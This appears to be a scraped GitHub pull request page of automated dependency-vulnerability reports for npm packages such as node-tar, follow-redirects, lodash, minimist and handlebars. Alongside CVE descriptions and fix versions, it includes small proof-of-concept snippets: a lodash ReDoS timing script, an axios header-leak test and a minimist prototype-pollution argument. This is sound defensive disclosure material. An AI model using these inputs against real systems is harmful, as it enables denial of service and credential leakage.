Rewrite mapHas iteratively (walk dirname in a while loop with a segment/visited cap), or enforce a hard path-segment limit in Header/Parser independent of maxMetaEntrySize, applied before any per-entry filter runs.

Dedup Note

Distinct from CVE-2024-28863 / GHSA-f5x3-32g6-qm9j "lack of folders depth validation" (that bounds mkdir recursion during extraction via maxDepth in Unpack[CHECKPATH] on the 'entry' event — a different sink, code path, and fix; runs after the filter and does not apply to tar.t). Also distinct from the PAX NUL/numeric-path crash advisories (improper-input-to-fs / type confusion, not recursion) and the gzip-bomb advisory (resource exhaustion on disk writes). None touch list.ts/filesFilter/mapHas or require member selection.


Reported by zx (Jace) — GitHub: @manus-use
GHSA-f5x3-32g6-xq36:

Description:

During some analysis today on npm's node-tar package I came across the folder creation process, Basicly if you provide node-tar with a path like this ./a/b/c/foo.txt it would create every folder and sub-folder here a, b and c until it reaches the last folder to create foo.txt, In-this case I noticed that there's no validation at all on the amount of folders being created, that said we're actually able to CPU and memory consume the system running node-tar and even crash the nodejs client within few seconds of running it using a path with too many sub-folders inside

Steps To Reproduce:

You can reproduce this issue by downloading the tar file I provided in the resources and using node-tar to extract it, you should get the same behavior as the video

Proof Of Concept:

Here's a video show-casing the exploit:

Impact

Denial of service by crashing the nodejs client when attempting to parse a tar archive, make it run out of heap memory and consuming server CPU and memory resources

Report resources

payload.txt
archeive.tar.gz

Note

This report was originally reported to GitHub bug bounty program, they asked me to report it to you a month ago

[ CVE-2024-28849 ] follow-redirects 1.5.9

Vulnerability Details

CVSS V3: 6.5
Dependency Path:
follow-redirects: 1.5.9 (Transitive)Fix Version: 1.15.6

When using axios, its dependency follow-redirects only clears authorization header during cross-domain redirect, but allows the proxy-authentication header which contains credentials too.

Steps To Reproduce & PoC

Test code:

const axios = require('axios');

axios.get('http://127.0.0.1:10081/', {
 headers: {
 'AuThorization': 'Rear Test',
 'ProXy-AuthoriZation': 'Rear Test',
 'coOkie': 't=1'
 }
})
 .then((response) => {
 console.log(response);
 })

When I meet the cross-domain redirect, the sensitive headers like authorization and cookie are cleared, but proxy-authentication header is kept.

Impact

This vulnerability may lead to credentials leak.

Recommendations

Remove proxy-authentication header during cross-domain redirect

Recommended Patch

follow-redirects/index.js:464

- removeMatchingHeaders(/^(?:authorization|cookie)$/i, this._options.headers);
+ removeMatchingHeaders(/^(?:authorization|proxy-authorization|cookie)$/i, this._options.headers);
```<br></details>

<details><summary><b>[ CVE-2023-28155 ] request 2.88.0</b></summary>

### Vulnerability Details
|                 |                   |
| --------------------- | :-----------------------------------: |
| **CVSS V3:** | 6.1 |
| **Dependency Path:** | <details><summary><b>request: 2.88.0 (Transitive)</b></summary><br></details> |

The `request` package through 2.88.2 for Node.js and the `@cypress/request` package prior to 3.0.0 allow a bypass of SSRF mitigations via an attacker-controller server that does a cross-protocol redirect (HTTP to HTTPS, or HTTPS to HTTP).

NOTE: The `request` package is no longer supported by the maintainer.<br></details>

<details><summary><b>[ CVE-2023-26159 ] follow-redirects 1.5.9</b></summary>

### Vulnerability Details
|                 |                   |
| --------------------- | :-----------------------------------: |
| **CVSS V3:** | 6.1 |
| **Dependency Path:** | <details><summary><b>follow-redirects: 1.5.9 (Transitive)</b></summary>Fix Version: 1.15.4<br></details> |

Versions of the package follow-redirects before 1.15.4 are vulnerable to Improper Input Validation due to the improper handling of URLs by the url.parse() function. When new URL() throws an error, it can be manipulated to misinterpret the hostname. An attacker could exploit this weakness to redirect traffic to a malicious site, potentially leading to information disclosure, phishing attacks, or other security breaches.<br></details>

---
<div align='center'>

[🐸 JFrog Frogbot](https://jfrog.com/help/r/jfrog-security-user-guide/shift-left-on-security/frogbot)

</div>

@buildguy

Copy link
Copy Markdown

📦 Vulnerable Dependencies

🔖 Details

[ CVE-2022-41940 ] engine.io 1.8.5

Vulnerability Details

CVSS V3: 6.5
Dependency Path:
engine.io: 1.8.5 (Transitive)Fix Version: 3.6.1

Impact

A specially crafted HTTP request can trigger an uncaught exception on the Engine.IO server, thus killing the Node.js process.

events.js:292
      throw er; // Unhandled 'error' event
      ^

Error: read ECONNRESET
    at TCP.onStreamRead (internal/stream_base_commons.js:209:20)
Emitted 'error' event on Socket instance at:
    at emitErrorNT (internal/streams/destroy.js:106:8)
    at emitErrorCloseNT (internal/streams/destroy.js:74:3)
    at processTicksAndRejections (internal/process/task_queues.js:80:21) {
  errno: -104,
  code: 'ECONNRESET',
  syscall: 'read'
}

This impacts all the users of the engine.io package, including those who uses depending packages like socket.io.

Patches

A fix has been released today (2022/11/20):

Version range Fixed version
engine.io@3.x.y 3.6.1
engine.io@6.x.y 6.2.1

For socket.io users:

Version range engine.io version Needs minor update?
socket.io@4.5.x ~6.2.0 npm audit fix should be sufficient
socket.io@4.4.x ~6.1.0 Please upgrade to socket.io@4.5.x
socket.io@4.3.x ~6.0.0 Please upgrade to socket.io@4.5.x
socket.io@4.2.x ~5.2.0 Please upgrade to socket.io@4.5.x
socket.io@4.1.x ~5.1.1 Please upgrade to socket.io@4.5.x
socket.io@4.0.x ~5.0.0 Please upgrade to socket.io@4.5.x
socket.io@3.1.x ~4.1.0 Please upgrade to socket.io@4.5.x (see here)
socket.io@3.0.x ~4.0.0 Please upgrade to socket.io@4.5.x (see here)
socket.io@2.5.0 ~3.6.0 npm audit fix should be sufficient
socket.io@2.4.x and below ~3.5.0 Please upgrade to socket.io@2.5.0

Workarounds

There is no known workaround except upgrading to a safe version.

For more information

If you have any questions or comments about this advisory:

Thanks to Jonathan Neve for the responsible disclosure.

[ CVE-2022-21704 ] log4js 0.6.38

Vulnerability Details

CVSS V3: 5.5
Dependency Path:
log4js: 0.6.38 (Transitive)Fix Version: 6.4.0

Impact

Default file permissions for log files created by the file, fileSync and dateFile appenders are world-readable (in unix). This could cause problems if log files contain sensitive information. This would affect any users that have not supplied their own permissions for the files via the mode parameter in the config.

Patches

Fixed by:

Released to NPM in log4js@6.4.0

Workarounds

Every version of log4js published allows passing the mode parameter to the configuration of file appenders, see the documentation for details.

References

Thanks to ranjit-git for raising the issue, and to @lamweili for fixing the problem.

For more information

If you have any questions or comments about this advisory:

[ CVE-2022-0536 ] follow-redirects 1.5.9

Vulnerability Details

CVSS V3: 5.9
Dependency Path:
follow-redirects: 1.5.9 (Transitive)Fix Version: 1.14.8

Exposure of Sensitive Information to an Unauthorized Actor in NPM follow-redirects prior to 1.14.8.

[ CVE-2022-0437 ] karma 0.13.22

Vulnerability Details

CVSS V3: 6.1
Dependency Path:
karma: 0.13.22 (Transitive)Fix Version: 6.3.14

Cross-site Scripting (XSS) - DOM in NPM karma prior to 6.3.14.

[ CVE-2022-0155 ] follow-redirects 1.5.9

Vulnerability Details

CVSS V3: 6.5
Dependency Path:
follow-redirects: 1.5.9 (Transitive)Fix Version: 1.14.7

follow-redirects is vulnerable to Exposure of Private Personal Information to an Unauthorized Actor

[ CVE-2021-23495 ] karma 0.13.22

Vulnerability Details

CVSS V3: 6.1
Dependency Path:
karma: 0.13.22 (Transitive)Fix Version: 6.3.16

The package karma before 6.3.16 are vulnerable to Open Redirect due to missing validation of the return_url query parameter.

[ CVE-2021-23362 ] hosted-git-info 2.7.1

Vulnerability Details

CVSS V3: 5.3
Dependency Path:
hosted-git-info: 2.7.1 (Transitive)Fix Version: 2.8.9

The npm package hosted-git-info before 3.0.8 are vulnerable to Regular Expression Denial of Service (ReDoS) via regular expression shortcutMatch in the fromUrl function in index.js. The affected regular expression exhibits polynomial worst-case time complexity

[ CVE-2020-7598 ] minimist 0.0.8

Vulnerability Details

CVSS V3: 5.6
Dependency Path:
minimist: 0.0.8 (Transitive)Fix Version: 0.2.1

Affected versions of minimist are vulnerable to prototype pollution. Arguments are not properly sanitized, allowing an attacker to modify the prototype of Object, causing the addition or modification of an existing property that will exist on all objects.
Parsing the argument --__proto__.y=Polluted adds a y property with value Polluted to all objects. The argument --__proto__=Polluted raises and uncaught error and crashes the application.
This is exploitable if attackers have control over the arguments being passed to minimist.

Recommendation

Upgrade to versions 0.2.1, 1.2.3 or later.

[ CVE-2020-7598 ] minimist 1.2.0

Vulnerability Details

CVSS V3: 5.6

Affected versions of minimist are vulnerable to prototype pollution. Arguments are not properly sanitized, allowing an attacker to modify the prototype of Object, causing the addition or modification of an existing property that will exist on all objects.
Parsing the argument --__proto__.y=Polluted adds a y property with value Polluted to all objects. The argument --__proto__=Polluted raises and uncaught error and crashes the application.
This is exploitable if attackers have control over the arguments being passed to minimist.

Recommendation

Upgrade to versions 0.2.1, 1.2.3 or later.

[ CVE-2020-28500 ] lodash 4.17.11

Vulnerability Details

CVSS V3: 5.3
Dependency Path:
lodash: 4.17.11 (Transitive)Fix Version: 4.17.21

All versions of package lodash prior to 4.17.21 are vulnerable to Regular Expression Denial of Service (ReDoS) via the toNumber, trim and trimEnd functions.

Steps to reproduce (provided by reporter Liyuan Chen):

var lo = require('lodash');

function build_blank(n) {
    var ret = "1"
    for (var i = 0; i < n; i++) {
        ret += " "
    }
    return ret + "1";
}
var s = build_blank(50000) var time0 = Date.now();
lo.trim(s) 
var time_cost0 = Date.now() - time0;
console.log("time_cost0: " + time_cost0);
var time1 = Date.now();
lo.toNumber(s) var time_cost1 = Date.now() - time1;
console.log("time_cost1: " + time_cost1);
var time2 = Date.now();
lo.trimEnd(s);
var time_cost2 = Date.now() - time2;
console.log("time_cost2: " + time_cost2);
```<br></details>

<details><summary><b>[ CVE-2020-28481 ] socket.io 1.7.4</b></summary>

### Vulnerability Details
|                 |                   |
| --------------------- | :-----------------------------------: |
| **CVSS V3:** | 4.3 |
| **Dependency Path:** | <details><summary><b>socket.io: 1.7.4 (Transitive)</b></summary>Fix Version: 2.4.0<br></details> |

The package socket.io before 2.4.0 are vulnerable to Insecure Defaults due to CORS Misconfiguration. All domains are whitelisted by default.<br></details>

<details><summary><b>[ CVE-2020-15366 ] ajv 5.5.2</b></summary>

### Vulnerability Details
|                 |                   |
| --------------------- | :-----------------------------------: |
| **CVSS V3:** | 5.6 |
| **Dependency Path:** | <details><summary><b>ajv: 5.5.2 (Transitive)</b></summary>Fix Version: 6.12.3<br></details> |

An issue was discovered in ajv.validate() in Ajv (aka Another JSON Schema Validator) 6.12.2. A carefully crafted JSON schema could be provided that allows execution of other code by prototype pollution. (While untrusted schemas are recommended against, the worst case of an untrusted schema should be a denial of service, not execution of code.)<br></details>

<details><summary><b>[ CVE-2018-3721 ] lodash 2.2.1</b></summary>

### Vulnerability Details
|                 |                   |
| --------------------- | :-----------------------------------: |
| **CVSS V3:** | 6.5 |
| **Dependency Path:** | <details><summary><b>lodash: 2.2.1 (Transitive)</b></summary>Fix Version: 4.17.5<br></details> |

Versions of `lodash` before 4.17.5 are vulnerable to prototype pollution. 

The vulnerable functions are 'defaultsDeep', 'merge', and 'mergeWith' which allow a malicious user to modify the prototype of `Object` via `__proto__` causing the addition or modification of an existing property that will exist on all objects.




## Recommendation

Update to version 4.17.5 or later.<br></details>

<details><summary><b>[ CVE-2018-3721 ] lodash 3.10.1</b></summary>

### Vulnerability Details
|                 |                   |
| --------------------- | :-----------------------------------: |
| **CVSS V3:** | 6.5 |

Versions of `lodash` before 4.17.5 are vulnerable to prototype pollution. 

The vulnerable functions are 'defaultsDeep', 'merge', and 'mergeWith' which allow a malicious user to modify the prototype of `Object` via `__proto__` causing the addition or modification of an existing property that will exist on all objects.




## Recommendation

Update to version 4.17.5 or later.<br></details>

<details><summary><b>[ CVE-2018-16487 ] lodash 3.10.1</b></summary>

### Vulnerability Details
|                 |                   |
| --------------------- | :-----------------------------------: |
| **CVSS V3:** | 5.6 |

Versions of `lodash` before 4.17.11 are vulnerable to prototype pollution. 

The vulnerable functions are 'defaultsDeep', 'merge', and 'mergeWith' which allow a malicious user to modify the prototype of `Object` via `{constructor: {prototype: {...}}}` causing the addition or modification of an existing property that will exist on all objects.




## Recommendation

Update to version 4.17.11 or later.<br></details>

<details><summary><b>[ CVE-2018-16487 ] lodash 2.2.1</b></summary>

### Vulnerability Details
|                 |                   |
| --------------------- | :-----------------------------------: |
| **CVSS V3:** | 5.6 |
| **Dependency Path:** | <details><summary><b>lodash: 2.2.1 (Transitive)</b></summary>Fix Version: 4.17.11<br></details> |

Versions of `lodash` before 4.17.11 are vulnerable to prototype pollution. 

The vulnerable functions are 'defaultsDeep', 'merge', and 'mergeWith' which allow a malicious user to modify the prototype of `Object` via `{constructor: {prototype: {...}}}` causing the addition or modification of an existing property that will exist on all objects.




## Recommendation

Update to version 4.17.11 or later.<br></details>

<details><summary><b>[ CVE-2017-20162 ] ms 0.7.2</b></summary>

### Vulnerability Details
|                 |                   |
| --------------------- | :-----------------------------------: |
| **CVSS V3:** | 5.3 |
| **Dependency Path:** | <details><summary><b>ms: 0.7.2 (Direct)</b></summary>Fix Version: 2.0.0<br></details> |

A vulnerability, which was classified as problematic, has been found in vercel ms up to 1.x. This issue affects the function parse of the file index.js. The manipulation of the argument str leads to inefficient regular expression complexity. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 2.0.0 is able to address this issue. The name of the patch is caae2988ba2a37765d055c4eee63d383320ee662. It is recommended to upgrade the affected component. The associated identifier of this vulnerability is VDB-217451.<br></details>

<details><summary><b>[ CVE-2017-20162 ] ms 0.7.1</b></summary>

### Vulnerability Details
|                 |                   |
| --------------------- | :-----------------------------------: |
| **CVSS V3:** | 5.3 |
| **Dependency Path:** | <details><summary><b>ms: 0.7.1 (Direct)</b></summary>Fix Version: 2.0.0<br></details> |

A vulnerability, which was classified as problematic, has been found in vercel ms up to 1.x. This issue affects the function parse of the file index.js. The manipulation of the argument str leads to inefficient regular expression complexity. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used. Upgrading to version 2.0.0 is able to address this issue. The name of the patch is caae2988ba2a37765d055c4eee63d383320ee662. It is recommended to upgrade the affected component. The associated identifier of this vulnerability is VDB-217451.<br></details>

<details><summary><b>[ CVE-2017-16137 ] debug 2.2.0</b></summary>

### Vulnerability Details
|                 |                   |
| --------------------- | :-----------------------------------: |
| **CVSS V3:** | 5.3 |
| **Dependency Path:** | <details><summary><b>debug: 2.2.0 (Direct)</b></summary>Fix Version: 2.6.9<br></details> |

Affected versions of `debug` are vulnerable to regular expression denial of service when untrusted user input is passed into the `o` formatter. 

As it takes 50,000 characters to block the event loop for 2 seconds, this issue is a low severity issue.

This was later re-introduced in version v3.2.0, and then repatched in versions 3.2.7 and 4.3.1.

## Recommendation

Version 2.x.x: Update to version 2.6.9 or later.
Version 3.1.x: Update to version 3.1.0 or later.
Version 3.2.x: Update to version 3.2.7 or later.
Version 4.x.x: Update to version 4.3.1 or later.<br></details>

<details><summary><b>[ CVE-2017-16137 ] debug 2.3.3</b></summary>

### Vulnerability Details
|                 |                   |
| --------------------- | :-----------------------------------: |
| **CVSS V3:** | 5.3 |

Affected versions of `debug` are vulnerable to regular expression denial of service when untrusted user input is passed into the `o` formatter. 

As it takes 50,000 characters to block the event loop for 2 seconds, this issue is a low severity issue.

This was later re-introduced in version v3.2.0, and then repatched in versions 3.2.7 and 4.3.1.

## Recommendation

Version 2.x.x: Update to version 2.6.9 or later.
Version 3.1.x: Update to version 3.1.0 or later.
Version 3.2.x: Update to version 3.2.7 or later.
Version 4.x.x: Update to version 4.3.1 or later.<br></details>

<details><summary><b>[ GHSA-442j-39wm-28r2 ] handlebars 4.0.12</b></summary>

### Vulnerability Details
|                 |                   |
| --------------------- | :-----------------------------------: |
| **CVSS V3:** | - |
| **Dependency Path:** | <details><summary><b>handlebars: 4.0.12 (Transitive)</b></summary><br></details> |

## Summary

In `lib/handlebars/runtime.js`, the `container.lookup()` function uses `container.lookupProperty()` as a gate check to enforce prototype-access controls, but then discards the validated result and performs a second, unguarded property access (`depths[i][name]`). This Time-of-Check Time-of-Use (TOCTOU) pattern means the security check and the actual read are decoupled, and the raw access bypasses any sanitization that `lookupProperty` may perform.

Only relevant when the **compat** compile option is enabled (`{compat: true}`), which activates `depthedLookup` in `lib/handlebars/compiler/javascript-compiler.js`.

## Description

The vulnerable code in `lib/handlebars/runtime.js` (lines 137–144):

```javascript
lookup: function (depths, name) {
  const len = depths.length;
  for (let i = 0; i < len; i++) {
    let result = depths[i] && container.lookupProperty(depths[i], name);
    if (result != null) {
      return depths[i][name];  // BUG: should be `return result;`
    }
  }
},

container.lookupProperty() (lines 119–136) enforces hasOwnProperty checks and resultIsAllowed() prototype-access controls. However, container.lookup() only uses lookupProperty as a boolean gate — if the gate passes (result != null), it then performs an independent, raw depths[i][name] access that circumvents any transformation or wrapped value that lookupProperty may have returned.

Workarounds

  • Avoid enabling { compat: true } when rendering templates that include untrusted data.
  • Ensure context data objects are plain JSON (no Proxies, no getter-based accessor properties).
[ CVE-2025-5889 ] brace-expansion 1.1.11

Vulnerability Details

CVSS V3: 3.1
Dependency Path:
brace-expansion: 1.1.11 (Transitive)Fix Version: 1.1.12

A vulnerability was found in juliangruber brace-expansion up to 1.1.11/2.0.1/3.0.0/4.0.0. It has been rated as problematic. Affected by this issue is the function expand of the file index.js. The manipulation leads to inefficient regular expression complexity. The attack may be launched remotely. The complexity of an attack is rather high. The exploitation is known to be difficult. The exploit has been disclosed to the public and may be used. Upgrading to version 1.1.12, 2.0.2, 3.0.1 and 4.0.1 is able to address this issue. The name of the patch is a5b98a4f30d7813266b221435e1eaaf25a1b0ac5. It is recommended to upgrade the affected component.

[ CVE-2017-18869 ] chownr 1.0.1

Vulnerability Details

CVSS V3: 2.5
Dependency Path:
chownr: 1.0.1 (Transitive)Fix Version: 1.1.0

A TOCTOU issue in the chownr package before 1.1.0 for Node.js 10.10 could allow a local attacker to trick it into descending into unintended directories via symlink attacks.


@buildguy

Copy link
Copy Markdown

✅ Build finished in 3m 24s

Build command:

mvn clean verify -B -e -Daudit -Djs.no.sandbox

❗ No tests found!

ℹ️ This is an automatic message

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

dependencies Pull requests that update a dependency file javascript Pull requests that update javascript code Minor

Projects

None yet

Development

Successfully merging this pull request may close these issues.

1 participant